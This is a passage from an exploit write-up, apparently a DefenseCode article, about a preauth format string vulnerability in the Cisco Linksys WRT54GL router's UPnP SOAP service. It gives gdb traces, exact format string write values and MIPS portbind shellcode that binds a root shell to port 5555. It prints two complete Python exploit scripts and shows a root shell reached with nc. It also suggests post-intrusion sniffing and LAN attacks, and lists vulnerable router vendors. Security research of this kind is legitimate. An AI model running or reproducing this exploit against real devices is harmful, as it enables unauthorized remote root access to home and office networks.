Store the lower 16 bits (halfword) of register Rsrc1 into memory address Rsrc2 + imm.
---
http://www.ece.umd.edu/~manoj/759M/MIPSALM.html

Basically, it will try to write halfword of the 'a2' register to the memory address
contained in 'a0' register. If we check 'a0' register value - it is 0x58585858, and
that is exactly the value of the "XXXX" ASCII string from our previously introduced input.
That said, we can write 2 bytes anywhere in the memory. Repeat that once again,
and we have write-4-anywhere primitive. Game over.

To gain control of the PC register, we will overwrite RET address at the 0x7fff7ab4
with the address of our shellcode.




===[ 7. PC register takeover

Now we know stack-pop offset where our input is located, and return address that 
should be overwritten for PC (Program Counter) register takeover.
PoC exploit format string is (in python): "%u" * 82 + "%.u%hn" + "%.u%.u%hn"

Format string argument itself for the previously introduced format string will be sent 
as presented below:
---
<AAAABBBBCCCCEEEEFFFFGG''' + write_one + '''AAAAAAAA''' + write_two + '''IIJJJJKKKK
LLLLMMMMNNNNOOOOPPPPRRRRSSSSTTTTUUUU>
---
- write_one is 0x7fff7ab6
- write_two is 0x7fff7ab4


Before any further steps, we will set breakpoint on the previously mentioned 'sh'
half-write instruction (address 0x2ac1068c), so we can track what is written and 
where.


(gdb) x/i $pc-4
   0x2ac1068c:  sh      a2,0(a0)
(gdb) break *0x2ac1068c
Breakpoint 1 at 0x2ac1068c
(gdb) c
Continuing.


After that, we will run PoC exploit again. Pay attention to the 'a0' register.


(gdb) c
Continuing.
Breakpoint 1, 0x2ac1068c in ?? ()
(gdb) i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 00000200 00000200 00000231 7fff7ab6 00000200 00000231 00000000
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   00000003 00000000 ffffffff 00000000 00000031 00000006 19999999 00000000
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  1000969e 1000969d 7fff7a08 7fff7928 00000000 0000000b 7fff79d0 7fff7a08
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000057 2ac10640 00000000 00000000 2ac732a0 7fff7820 00000020 2ac10378
            sr       lo       hi      bad    cause       pc
      00000000 00000000 00000000 8005a7b8 00000024 2ac1068c
           fsr      fir
      00000000 00000000
(gdb) x/i $pc
=> 0x2ac1068c:  sh      a2,0(a0)
(gdb) c
Continuing.

Breakpoint 1, 0x2ac1068c in ?? ()
(gdb) i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 00000200 00000200 00000245 7fff7ab4 00000200 00000245 00000000
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   00000003 00000000 ffffffff 00000000 00000031 00000006 19999999 00000000
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  100096a7 100096a6 7fff7a08 7fff7928 00000000 0000000b 7fff79d0 7fff7a08
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000057 2ac10640 00000000 00000000 2ac732a0 7fff7820 00000020 2ac10378
            sr       lo       hi      bad    cause       pc
      00000000 00000000 00000000 8005a7b8 00000024 2ac1068c
           fsr      fir
      00000000 00000000
(gdb) x/i $pc
=> 0x2ac1068c:  sh      a2,0(a0)
(gdb)


So, there are two rounds of writing, first to the 0x7FFF7AB6 and second to the 0x7FFF7AB4.
The next step is to find complete SOAP SetConnectionType request in the memory, because that is 
the place where our shellcode will be included, and later we will redirect code execution to 
that address.

MIPS shellcode itself will not be discussed in this article, because it is a whole different 
subject. In this case, we will use MIPS /bin/sh portbind shellcode that will bind shell 
to the TCP port 5555.

MIPS portbind (TCP 5555) shellcode is presented below.

mipsshellcode = "\xe0\xff\xbd\x27\xfd\xff\x0e\x24\x27\x20\xc0\x01\x27\x28\xc0" +
	        "\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01\x50\x73" +
		"\x0f\x24\xff\xff\x50\x30\xef\xff\x0e\x24\x27\x70\xc0\x01\x15" +
		"\xb3\x0d\x24\x04\x68\xcd\x01\xff\xfd\x0e\x24\x27\x70\xc0\x01" +
		"\x25\x68\xae\x01\xe0\xff\xad\xaf\xe4\xff\xa0\xaf\xe8\xff\xa0" +
		"\xaf\xec\xff\xa0\xaf\x25\x20\x10\x02\xef\xff\x0e\x24\x27\x30" +
		"\xc0\x01\xe0\xff\xa5\x23\x49\x10\x02\x24\x0c\x01\x01\x01\x50" +
		"\x73\x0f\x24\x25\x20\x10\x02\x01\x01\x05\x24\x4e\x10\x02\x24" +
		"\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05" +
		"\x28\xff\xff\x06\x28\x48\x10\x02\x24\x0c\x01\x01\x01\x50\x73" +
		"\x0f\x24\xff\xff\x50\x30\x25\x20\x10\x02\xfd\xff\x0f\x24\x27" +
		"\x28\xe0\x01\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24" +
		"\x25\x20\x10\x02\x01\x01\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01" +
		"\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05\x28\xdf\x0f" +
		"\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x50\x73\x06\x24\xff" +
		"\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xc7\xff\x0f\x24" +
		"\x27\x78\xe0\x01\x21\x20\xef\x03\xf0\xff\xa4\xaf\xf4\xff\xa0" +
		"\xaf\xf7\xff\x0e\x24\x27\x70\xc0\x01\x21\x60\xef\x03\x21\x68" +
		"\x8e\x01\xff\xff\xa0\xad\xf0\xff\xa5\x23\xab\x0f\x02\x24\x0c" +
		"\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68" 


Our next step is to modify SetConnectionType XML request and add shellcode to it,
as presented below.

---
SETSOAPREQ = '''<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
       <m:SetConnectionType xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1" as ="''' 
       
       + mipsshellcode +                  
       
       '''">
	<NewConnectionType>%s</NewConnectionType>
       </m:SetConnectionType>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>'''
---

Now, let's find where our SOAP request and shellcode is located in the memory. 
The easiest way to find it without much effort is to inspect current registers, and 
memory space around their values upon program crash.
Within few minutes, we have located our shellcode 

(gdb) x/100c 0x1000f1bf
0x1000f1bf:     58 ':'  115 's' 101 'e' 114 'r' 118 'v' 105 'i' 99 'c'  101 'e'
0x1000f1c7:     58 ':'  87 'W'  65 'A'  78 'N'  73 'I'  80 'P'  67 'C'  111 'o'
0x1000f1cf:     110 'n' 110 'n' 101 'e' 99 'c'  116 't' 105 'i' 111 'o' 110 'n'
0x1000f1d7:     58 ':'  49 '1'  34 '"'  32 ' '  97 'a'  115 's' 61 '='  32 ' '
0x1000f1df:     34 '"'  
...
(gdb) x/50x 0x1000f1e0 <- SHELLCODE!!!!!!!
0x1000f1e0:     0xe0    0xff    0xbd    0x27    0xfd    0xff    0x0e    0x24
0x1000f1e8:     0x27    0x20    0xc0    0x01    0x27    0x28    0xc0    0x01
0x1000f1f0:     0xff    0xff    0x06    0x28    0x57    0x10    0x02    0x24
0x1000f1f8:     0x0c    0x01    0x01    0x01    0x50    0x73    0x0f    0x24
0x1000f200:     0xff    0xff    0x50    0x30    0xef    0xff    0x0e    0x24
0x1000f208:     0x27    0x70    0xc0    0x01    0x15    0xb3    0x0d    0x24
0x1000f210:     0x04    0x68
...

That's it. Now we have all important data for the exploit construction.
Memory address that will be overwritten - 0x7FFF7AB4 
Memory address of the shellcode - 0x1000F1E0.
All that's left now is to construct appropriate format string write, and that's it.
We're ready to go.





===[ 8. Gaining control over the router

All that's left now is to write right values to the return address memory location
(0x7FFF7AB4), and that's it. Location of our shellcode is 0x1000F1E0, so we will
construct our format string for two writes -  0x1000 to the 0x7fff7ab6 and 0xF1E0
to the 0x7fff7ab4.
Details are presented below.

Two half-writes are used:
- write_one is 0x7fff7ab6 <- 0x1000
- write_two is 0x7fff7ab4 <- 0xF1E0

In other words, this:

sendfmt = "%u" * 82 + "%.3545u%hn" + "%.28988u%.28836u%hn"

So, exploit process step by step is this:
---
1. Send "Prestage" GetConnectionType request with addresses for two
   half-writes (0x7fff7ab6 and 0x7fff7ab4)
2. Prepare SetConnectionType request with shellcode included
3. Trigger the format string vulnerability that will overwrite return 
   address at the 0x7fff7ab4 with 0x1000F1E0, because there is our 
   portbind shellcode
4. Connect to the router port 5555 port to obtain shell access
---

Now we will try our new Cisco Linksys WRT54GL exploit on the router along with the
gdb output step by step.

---
E:\Phrack>python cisco_linksys_full_exploit.py
> Cisco Linksys WRT54GL Remote Preauth Full Exploit
> Leon Juranic <leon@defensecode.com>

> Doing prestage...
> Received '<?xml version="1.0"?>\r\n<s:Envelope xmlns:s="http://schemas.xmlsoap
.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
><s:Body><m:GetConnectionTypeInfoResponse xmlns:m="urn:schemas-upnp-org:service:
WANIPConnection:1"><NewConnectionType>IP_Routed</NewConnectionType><NewPossibleC
onnectionTypes>Unconfigured,IP_Routed,IP_Bridged</NewPossibleConnectionTypes></m
:GetConnectionTypeInfoResponse></s:Body></s:Envelope>\r\n'
> FMT: IP_Routed
> Sending exploit payload...


Debugger details are presented below.

(gdb) target remote 192.168.1.1:5000
Remote debugging using 192.168.1.1:5000
0x2ac216f4 in ?? ()
(gdb) c
Continuing.
warning: GDB can't find the start of the function at 0x2ac216f4.

Breakpoint 1, 0x2ac1068c in ?? () <=============== FIRST WRITE (a2 -> a0)
(gdb) i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 00000200 00000200 00001000 7fff7ab6 00000200 00001000 00000000
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   00000003 00000000 ffffffff 00000000 00000037 00000006 19999999 00000000
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  1000f3ca 1000f3c9 7fff7a08 7fff7928 00000000 0000000b 7fff79d0 7fff7a08
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000057 2ac10640 00000000 00000000 2ac732a0 7fff7820 00000020 2ac10378
            sr       lo       hi      bad    cause       pc
      00000000 00000000 00000000 8005a7b8 00000024 2ac1068c
           fsr      fir
      00000000 00000000
(gdb) c 
Continuing.

Breakpoint 1, 0x2ac1068c in ?? ()  <============== SECOND WRITE (a2 -> a0)
(gdb) i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 00000200 00000200 0000f1e0 7fff7ab4 00000200 0000f1e0 00000000
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   00000003 00000000 ffffffff 00000000 00000031 00000006 19999999 00000000
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  1000f3dd 1000f3dc 7fff7a08 7fff7928 00000000 0000000b 7fff79d0 7fff7a08
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000057 2ac10640 00000000 00000000 2ac732a0 7fff7820 00000020 2ac10378
            sr       lo       hi      bad    cause       pc
      00000000 00000000 00000000 8005a7b8 00000024 2ac1068c
           fsr      fir
      00000000 00000000
(gdb) c
Continuing.

Let's analyze PC register now.

^C
Program received signal SIGINT, Interrupt.
0x1000f274 in ?? ()
(gdb)  ir
Undefined command: "ir".  Try "help".
(gdb) i r
          zero       at       v0       v1       a0       a1       a2       a3
 R0   00000000 00000200 00000200 10006867 00000009 00000000 00000000 00000001
            t0       t1       t2       t3       t4       t5       t6       t7
 R8   00000003 00000000 ffffffff 00000000 00000031 00000006 19999999 00000000
            s0       s1       s2       s3       s4       s5       s6       s7
 R16  00000009 00000000 7fff7b60 00000001 100004e8 10007f00 1000dfe0 10007f00
            t8       t9       k0       k1       gp       sp       s8       ra
 R24  00000057 2ac0a92c 00000000 00000000 10009190 7fff7a98 1000dfe0 1000f1e0
            sr       lo       hi      bad    cause       pc
      00000000 00000000 00000000 8005a7b8 00000020 1000f274  <=== BOOOOM!!!!
           fsr      fir
      00000000 00000000
(gdb)

That's it. We have full control over the PC register, and our shellcode is
executed. Let's connect to our deserved root shell on our Cisco Linksys WRT54GL 
router.


[root@defensecode linksys]# nc 192.168.1.1 5555
ls
proc
mnt
dev
var
tmp
lib
bin
www
sbin
etc
usr
cat /proc/cpuinfo
system type             : Broadcom BCM947XX
processor               : 0
cpu model               : BCM3302 V0.8
BogoMIPS                : 199.47
wait instruction        : no
microsecond timers      : yes
tlb_entries             : 32
extra interrupt vector  : no
hardware watchpoint     : no
VCED exceptions         : not available
VCEI exceptions         : not available
unaligned_instructions  : 5
dcache hits             : 821316329
dcache misses           : 3717232290
icache hits             : 3192629433
icache misses           : 2838526887
instructions            : 0
ls -al /tmp
drwxr-xr-x    1 0        0               0 Jan  1  2000 var
lrwxrwxrwx    1 0        0               8 Jan  1 00:00 ldhclnt -> /sbin/rc
drwx------    1 0        0               0 Jan  1 00:00 cron.d
-rw-r--r--    1 0        0               8 Jan  1 00:00 action
-rw-r--r--    1 0        0              40 Jan  1 00:00 nas.lan.conf
-rw-r--r--    1 0        0              27 Jan  1 00:00 ses.log
lrwxrwxrwx    1 0        0               8 Jan  1 00:00 udhcpc -> /sbin/rc
-rw-r--r--    1 0        0               1 Jan  1 00:00 udhcpc.expires
-rw-r--r--    1 0        0              33 Jan  1 00:00 nas.wan.conf
-rwxr-xr-x    1 0        0          133528 Jan  1 00:00 gdbserver
drwxr-xr-x    1 0        0              72 Jun 20  2006 ..
drwxr-xr-x    1 0        0               0 Jan  1  2000 .
ifconfig: not found
/sbin/ifconfig
br0       Link encap:Ethernet  
          inet addr:192.168.1.1  Bcast:192.168.1.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:776 errors:0 dropped:0 overruns:0 frame:0
          TX packets:488 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:209889 (204.9 kb)  TX bytes:49555 (48.3 kb)

eth0      Link encap:Ethernet  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:777 errors:0 dropped:0 overruns:0 frame:0
          TX packets:535 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          RX bytes:227029 (221.7 kb)  TX bytes:79425 (77.5 kb)
          Interrupt:4 Base address:0x1000

eth1      Link encap:Ethernet  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:10406
          TX packets:427 errors:7 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          RX bytes:0 (0.0 b)  TX bytes:73525 (71.8 kb)
          Interrupt:2 Base address:0x5000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING MULTICAST  MTU:16436  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

vlan0     Link encap:Ethernet  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:777 errors:0 dropped:0 overruns:0 frame:0
          TX packets:488 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:213043 (208.0 kb)  TX bytes:51507 (50.2 kb)

vlan1     Link encap:Ethernet  
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:47 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 b)  TX bytes:27918 (27.2 kb)




That's it. We have obtained root shell on Cisco Linksys WRT54GL router.




===[ 9. Post-intrusion fun

Now you can do anything that you want on the router. Install some sniffer,
attack other computers in local network, infect binaries transmitted over the
network, or play ncurses version of space invaders.
Like for example - basic ncurses space-invaders like game that I coded just for 
fun 10 years ago. Cross-compile the game, upload to the hacked router and you can play 
space-invaders on someone's router. :)




===[ 10. Greetz & Shouts

Thanks to Vedran Kajic, Davor Serfez and K0st for various things about this paper.
Also, thanks to HD Moore for vulnerable router manufacturers data.
Thanks to Ana Hanzek for lectoring. :)




===[ 11. About DefenseCode

DefenseCode L.L.C. delivers products and services designed to analyze
and test web, desktop and mobile applications for security vulnerabilities.

DefenseCode ThunderScan is a SAST (Static Application Security Testing,
WhiteBox Testing) solution for performing extensive security audits of
application sourcecode.

ThunderScan performs fast and accurate analyses of large and complex
source code projects delivering precise results and low false positive
rate.

DefenseCode WebScanner is a DAST (Dynamic Application Security Testing,
BlackBox Testing) solution for comprehensive security audits of active
web applications.

WebScanner will test a website's security by carrying out a large number
of attacks using the most advanced techniques, just as a real attacker
would.

Subscribe for free software trial on our website
http://www.defensecode.com/

E-mail: defensecode[at]defensecode.com

Website: http://www.defensecode.com/
Twitter: https://twitter.com/DefenseCode/





===[ Cisco Linksys WRT54GL Exploit


cisco_linksys_full_exploit.py
========
#
#
#  Cisco Linksys WRT54GL Remote Preauth 0day Exploit
#  - Leon Juranic / DefenseCode <leon@defensecode.com>
#
#


import socket
import sys
import re
    
HOST = '192.168.1.1'    # The remote host
PORT = 5431         # SOAP

write_one = ("\xB6\x7A\xFF\x7F"); 
write_two = ("\xB4\x7A\xFF\x7F");

mipsshellcode = ("\xe0\xff\xbd\x27\xfd\xff\x0e\x24\x27\x20\xc0\x01\x27\x28\xc0" 
	        "\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01\x01\x01\x50\x73" 
		"\x0f\x24\xff\xff\x50\x30\xef\xff\x0e\x24\x27\x70\xc0\x01\x15" 
		"\xb3\x0d\x24\x04\x68\xcd\x01\xff\xfd\x0e\x24\x27\x70\xc0\x01" 
		"\x25\x68\xae\x01\xe0\xff\xad\xaf\xe4\xff\xa0\xaf\xe8\xff\xa0" 
		"\xaf\xec\xff\xa0\xaf\x25\x20\x10\x02\xef\xff\x0e\x24\x27\x30" 
		"\xc0\x01\xe0\xff\xa5\x23\x49\x10\x02\x24\x0c\x01\x01\x01\x50" 
		"\x73\x0f\x24\x25\x20\x10\x02\x01\x01\x05\x24\x4e\x10\x02\x24" 
		"\x0c\x01\x01\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05" 
		"\x28\xff\xff\x06\x28\x48\x10\x02\x24\x0c\x01\x01\x01\x50\x73" 
		"\x0f\x24\xff\xff\x50\x30\x25\x20\x10\x02\xfd\xff\x0f\x24\x27" 
		"\x28\xe0\x01\xdf\x0f\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24" 
		"\x25\x20\x10\x02\x01\x01\x05\x28\xdf\x0f\x02\x24\x0c\x01\x01" 
		"\x01\x50\x73\x0f\x24\x25\x20\x10\x02\xff\xff\x05\x28\xdf\x0f" 
		"\x02\x24\x0c\x01\x01\x01\x50\x73\x0f\x24\x50\x73\x06\x24\xff" 
		"\xff\xd0\x04\x50\x73\x0f\x24\xff\xff\x06\x28\xc7\xff\x0f\x24" 
		"\x27\x78\xe0\x01\x21\x20\xef\x03\xf0\xff\xa4\xaf\xf4\xff\xa0" 
		"\xaf\xf7\xff\x0e\x24\x27\x70\xc0\x01\x21\x60\xef\x03\x21\x68" 
		"\x8e\x01\xff\xff\xa0\xad\xf0\xff\xa5\x23\xab\x0f\x02\x24\x0c" 
		"\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68")


GETHTTPSTR = '''POST /uuid:586d-8fd8-04f5020099dc/WANIPConnection:1 HTTP/1.1
SOAPAction: "urn:schemas-upnp-org:service-1-0:WANIPConnection:1#GetConnectionTypeInfo"
Host: %s:5431'
Content-Type: text/xml
Content-Length: %d'''

SETHTTPSTR = '''POST /uuid:586d-8fd8-04f5020099dc/WANIPConnection:1 HTTP/1.1
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType"
Host: %s:5431
Content-Type: text/xml
Content-Length: %d'''


GETSOAPPRESTAGE = '''<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>AAAAAAAAAAAAAAAAAAAAAA
	<AAAABBBBCCCCEEEEFFFFGG''' + write_one + '''AAAAAAAA''' + write_two + '''IIJJJJKKKKLLLLMMMMNNNNOOOOPPPPRRRRSSSSTTTTUUUU>
	<m:GetConnectionTypeInfo xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1">

	</m:GetConnectionTypeInfo>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>'''	

	
SETSOAPREQ = '''<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
       <m:SetConnectionType xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1" as= "%s">
	<NewConnectionType>%s</NewConnectionType>
       </m:SetConnectionType>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>'''


def Prestage_GetConnectionTypeInfo():
	
	HTTPREQ = GETHTTPSTR % (HOST, GETSOAPPRESTAGE.__len__())
	
	HTTPSEND =  HTTPREQ + "\n\n" + GETSOAPPRESTAGE + "\n"
	
	#print HTTPSEND
	
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	try:
		s.connect((HOST, PORT))
	except:
   		 print "Cannot connect to the target port..."	
   		 exit(-1)
   	s.sendall(HTTPSEND)
	data = s.recv(10000)
	data = s.recv(10000)
	print '> Received', repr(data) 
	
	rematch = re.search(r'(?:NewConnectionType>)(.*?)(?:<\/NewConnectionType)', data)
	if rematch:
		print "> FMT: " + rematch.group(1)



def SetConnectionType(FMTSTRING):
	
	
	SENDSOAP = SETSOAPREQ % (mipsshellcode,FMTSTRING)
	
	HTTPREQ = SETHTTPSTR % (HOST, SENDSOAP.__len__())
	
	HTTPSEND =  HTTPREQ + "\n\n" + SENDSOAP + "\n"
	
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	try:
		s.connect((HOST, PORT))	
	except:
   		 print "> Cannot connect to the target port..."
   		 exit(-1)
	#print HTTPSEND
	s.sendall(HTTPSEND)
	data = s.recv(10000)
	data = s.recv(10000)
	
	print '> Recv: ', repr(data) + "\n"
	rematch = re.search(r'(?:NewConnectionType>)(.*?)(?:<\/NewConnectionType)', data)
	if rematch:
		print "> FMT RESPONSE: " + rematch.group(1)



print "> Cisco Linksys WRT54GL Remote Preauth Full Exploit"
print "> Leon Juranic <leon@defensecode.com>\n"

# This will do the trick...

print "> Doing prestage..."
Prestage_GetConnectionTypeInfo()


#0x1000F1E0.
sendfmt = "%u" * 82 + "%.3545u%hn" + "%.28988u%.28836u%hn"

print "> Sending exploit payload..."
SetConnectionType(sendfmt)

print "> Done."

========




cisco_linksys_poc.py
========
#
#
#  Cisco Linksys WRT54GL Remote Preauth 0day Exploit
#  - Leon Juranic / DefenseCode <leon@defensecode.com>
#
#


import socket
import sys
import re
    
HOST = '192.168.1.1'    # The remote host
PORT = 5431         # SOAP


GETHTTPSTR = '''POST /uuid:586d-8fd8-04f5020099dc/WANIPConnection:1 HTTP/1.1
SOAPAction: "urn:schemas-upnp-org:service-1-0:WANIPConnection:1#GetConnectionTypeInfo"
Host: %s:5431'
Content-Type: text/xml
Content-Length: %d'''

SETHTTPSTR = '''POST /uuid:586d-8fd8-04f5020099dc/WANIPConnection:1 HTTP/1.1
SOAPAction: "urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType"
Host: %s:5431
Content-Type: text/xml
Content-Length: %d'''
	
	
GETSOAPREQ = '''<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
	<SOAP-ENV:Body>
	<m:GetConnectionTypeInfo xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"></m:GetConnectionTypeInfo>
	</SOAP-ENV:Body>
</SOAP-ENV:Envelope>'''

	
SETSOAPREQ = '''<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
       <m:SetConnectionType xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1" as="">
	<NewConnectionType>%s</NewConnectionType>
       </m:SetConnectionType>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>'''



def GetConnectionTypeInfo():
	
	HTTPREQ = GETHTTPSTR % (HOST, GETSOAPREQ.__len__())
	
	HTTPSEND =  HTTPREQ + "\n\n" + GETSOAPREQ + "\n"
	
	#print HTTPSEND
	
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	try:
		s.connect((HOST, PORT))
	except:
   		 print "Cannot connect to the target port..."	
   		 exit(-1)
   	s.sendall(HTTPSEND)
	data = s.recv(10000)
	data = s.recv(10000)
	print '> Received', repr(data) 
	
	rematch = re.search(r'(?:NewConnectionType>)(.*?)(?:<\/NewConnectionType)', data)
	if rematch:
		print "> FMT: " + rematch.group(1)



def SetConnectionType(FMTSTRING):
	
	HTTPREQ = SETHTTPSTR % (HOST, SETSOAPREQ.__len__())
	
	SENDSOAP = SETSOAPREQ % (FMTSTRING)
	
	HTTPSEND =  HTTPREQ + "\n\n" + SENDSOAP + "\n"
	
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	try:
		s.connect((HOST, PORT))	
	except:
   		 print "> Cannot connect to the target port..."
   		 exit(-1)
	s.sendall(HTTPSEND)
	data = s.recv(10000)
	data = s.recv(10000)
	
	print '> Recv: ', repr(data) + "\n"
	rematch = re.search(r'(?:NewConnectionType>)(.*?)(?:<\/NewConnectionType)', data)
	if rematch:
		print "> FMT RESPONSE: " + rematch.group(1)



print "> Cisco Linksys WRT54GL Remote Preauth 0day PoC"
print "> Leon Juranic <leon@defensecode.com>\n"

if len(sys.argv) < 2:
        sys.stderr.write("> Usage: %s <FMTSTRING>" % (sys.argv[0],))
        sys.exit(-1)


# This will do the trick...

SetConnectionType(sys.argv[1])
GetConnectionTypeInfo()
========






===[ Vulnerable Manufacturers And Router Models

It is important to note that this list is not full, and it's not detailed,
but it's a nice overview for a curious reader.


3Com

    -  ADSL Wireless Router

    -  Broadcom ADSL Router

    -  Internet Gateway Device



Actiontec

    -  GT784WN

    -  xDSL Router

    -  Broadcom ADSL Router

    -  DSL Modem implementing Qwest TR-064 v1.0 specification

    -  DSL Modem implementing TR-064 v1.0 specification



Actiontec Electronics

    -  Actiontec xDSL Router

    -  Verizon ADSL Router



ADBB

    -  DSL Router



ADB Broadband

    -  ADB ADSL Router

    -  Broadcom ADSL Router



ADB Broadband S.p.A.

    -  ADB ADSL Router



ADB Broadband S.p.A

    -  HomeStation ADSL Router




ADSL2+ Router   

    -  ADSL2/2+ Modem Router

    - ADSLRouter



ALBIS

    -  Router VLR-4300-I



Allied Telesis K.K.

    -  CG-BARFX3



Alpha

    -  ADSL Router

    -  DLink ADSL Router

    -  Sky ADSL Router



Alvarion

    -  Residential Gateway



ASB

    -  ADSL Router

    -  Alcatel-EG692HW Internet Sharing Gateway

    -  ChinaTelecom E8C(EPON) Gateway

    -  Home Gateway



Askey

    -  ADSL2+ Router

    -  ADSL Router



Askey Computer Corp.

    -  Wireless ADSL2+ Router



ASUS

    -  Wireless Router



ASUSTek

    -  ASUS ADSL Router

    -  ASUS Wireless Harddisk Drive

    -  ASUS Wireless Router



ASUSTek Computer Inc.

    -  ASUS Wireless Router

    -  Residential Gateway Device

    -  WL-500gPV2

    -  WL-500gP V2

    -  WL-520GU

    -  WL700gE



BEC_8800N

    -  BEC 8800N



BEC Technologies Inc.

    -  BEC 7800TN R2

    -  Broadcom ADSL Router



Belkin

    -  ADSL Router

    -  F5D8232-4 v1000

    -  N1 ADSL Router

    -  Wireless ADSL Router

    -  BoB

    -  iiNet BoB

    -  Wireless ADSL Router



Bellmann

    -  Broadcom ADSL Router



Billion

    -  BiPAC 7700N

    -  BiPAC 7700N R2



Billion Electric Co., Ltd.

    -  ADSL2+ Firewall Router

    -  BiPAC 7800VDOX

    -  BiPAC 7800VDPX

    -  home.gateway



Billion Electric Co.,Ltd.

    -  home.gateway



Billion Electric Co, PC Range Pty Ltd.

    -  home.gateway



BM

    -  ChinaTelecom E8C(EPON) Gateway



Broadcom

    -  3G Router

    -  Actiontec GT784WN

    -  Actiontec xDSL Router

    -  ADSL2+ 11n WiFi CPE

    -  ADSL2/2+ Modem Router

    -  ADSL Router

    -  ADSL Router

    -  ChinaTelecom E8 ADSL Router

    -  D-link ADSL Router

    -  D-Link ADSL Router

    -  DLink ADSL Router

    -  D-Link DSL-2640B

    -  D-Link DSL-2641B

    -  D-Link DSL-500B

    -  DSL2740B ADSL Router

    -  DSL Router

    -  HomeStation ADSL Router

    -  PHILEAS-WORLD

    -  PTCL ADSL Router

    -  Residential Gateway Device

    -  SemIndia Systems ADSL2Plus Router

    -  STOREX

    -  WL700g

    -  Zoom ADSL Router



BT

    -  Voyager 2091

    -  Voyager 220V

    -  Voyager 2091

    -  Voyager 2110

    -  Voyager 220V

    -  Voyager 2500V



Careca

    -  HRDSL108W 108M Wireless ADSL2+ router



CATCH-TEC

    -  ADSL2/2+ Modem Router



CDC POINT S.P.A

    -  ADSL2/2+ Modem Router



ChinaTelecom

    -  ASB Home Gateway



China Telecom

    -  ChinaNet EPON Router

    -  E8C(EPON) Gateway

